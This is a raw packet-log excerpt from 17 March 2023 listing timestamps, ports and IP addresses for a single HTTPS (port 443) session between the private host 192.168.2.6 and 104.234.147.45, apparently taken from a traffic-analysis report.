Mar 17, 2023 15:07:54.599425077 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.599466085 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.599478960 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.599497080 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.599525928 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.599720001 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.599776030 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.599797010 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.599808931 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.599845886 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.599858046 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.600151062 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.600204945 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.600263119 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.600279093 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.600311041 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.600339890 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.600476980 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.600532055 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.600574017 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.600588083 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.600632906 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.600666046 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.600924969 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.600979090 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.601022005 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.601043940 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.601068974 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.601099968 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.601238012 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.601299047 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.601327896 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.601341009 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.601363897 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.601392984 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.601618052 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.601670980 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.601716042 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.601752043 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.810718060 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.810868979 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.938152075 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.938200951 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.938235044 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.938252926 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.938635111 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.938657045 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.938708067 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.938741922 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.938961983 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.938977957 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.939177036 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.939285994 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.939306021 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.939397097 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.940915108 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.940943956 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:54.941319942 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:54.941319942 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.150723934 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.151452065 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.151479959 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.151515007 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.151549101 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.151578903 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.151608944 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.151668072 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.151705027 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.151715040 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.151748896 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.151787996 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.151837111 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.151885033 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.151936054 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.151969910 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.152014017 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.152054071 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.152093887 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.152128935 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.152165890 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.152179003 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.152208090 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.152381897 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.358724117 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.359227896 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.382538080 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.382574081 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.382595062 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.382844925 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.383972883 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.383999109 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.384016991 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.384028912 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384036064 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.384151936 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384167910 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.384211063 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.384227037 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384236097 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.384280920 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384321928 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384322882 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384335041 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.384357929 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.384370089 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384370089 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384392023 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.384428978 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.384433031 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384433031 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384450912 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.384478092 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.384592056 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384592056 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384592056 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384592056 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384592056 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384608984 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.384638071 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384638071 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384641886 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.384685040 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384689093 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.384726048 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384726048 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384738922 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.384784937 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384963989 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.384963989 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385078907 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385078907 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385078907 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385078907 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385149956 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.385212898 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385212898 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385212898 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385212898 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385241032 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385247946 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.385309935 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385309935 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385447025 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385447025 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385447025 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385530949 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385530949 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385552883 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385590076 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385637999 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385663033 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385694981 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.385731936 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.590718985 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.592775106 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.710340023 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.710366011 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.710383892 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.710400105 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.710443020 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.710457087 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.710546970 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.710556984 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.710586071 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.710592985 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.710617065 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.710623026 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.710658073 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.710664034 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.710675955 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.710712910 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.710720062 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.710736990 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.710870981 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.710879087 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.710911989 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.710922956 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.710946083 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.710952044 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.710993052 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711025953 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711034060 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.711066961 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711101055 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711122990 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.711143017 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711178064 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711184978 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.711215019 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711247921 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711281061 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711287975 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.711318970 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711345911 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711451054 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711493015 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711502075 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.711543083 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711597919 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711613894 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711653948 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711694956 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711733103 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711771011 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711791992 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711797953 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.711842060 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711842060 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711849928 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.711878061 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711909056 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711940050 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711972952 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.711980104 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.712004900 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712039948 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712075949 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712112904 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712120056 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.712148905 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712184906 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712220907 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712258101 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712264061 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.712297916 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712332964 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712368965 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712404013 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712445974 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712451935 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.712480068 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712517023 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712574959 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712593079 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712598085 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.712632895 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712666035 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712701082 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712733984 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712771893 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712800980 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712974072 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712974072 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712974072 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712974072 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.712974072 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.713016987 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.713016987 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.713037014 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.713062048 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.713093996 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.713124990 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.713157892 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.713186979 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.713219881 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.713228941 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.713243008 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.713284969 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.713300943 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.713541985 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.713546991 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.713576078 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.713597059 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.713618040 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.713645935 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.714077950 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.714091063 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.717276096 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.727307081 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.727345943 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.729232073 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.729252100 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.729274988 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.729321957 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.729331970 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.729356050 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.729384899 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.729419947 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.729429007 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.729451895 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.729460001 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.729486942 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.729522943 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.729532003 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.729564905 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.729599953 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.729609966 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.729636908 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.729676962 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.729713917 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.729711056 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.729743004 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.729779005 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.729792118 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.729815960 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.729826927 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.729861021 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.729865074 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.729907036 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.729935884 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.730000019 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.730295897 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.730345011 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.730379105 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.730415106 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.730451107 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.730488062 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.730521917 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.730556965 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.730673075 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.730705023 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.730750084 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.730778933 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.730811119 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.730844975 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.730880976 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.730914116 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.730956078 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.755599976 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.755670071 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.757556915 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.757632017 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.758476019 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.758512974 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.760196924 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.760247946 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.764308929 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.764358997 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.764435053 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.764724016 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.764782906 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.765531063 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.791699886 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.791800022 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.791800976 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.791827917 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.791837931 CET	443	49710	104.234.147.45	192.168.2.6
Mar 17, 2023 15:07:55.791872025 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.791901112 CET	49710	443	192.168.2.6	104.234.147.45
Mar 17, 2023 15:07:55.792732000 CET	443	49710	104.234.147.45	192.168.2.6
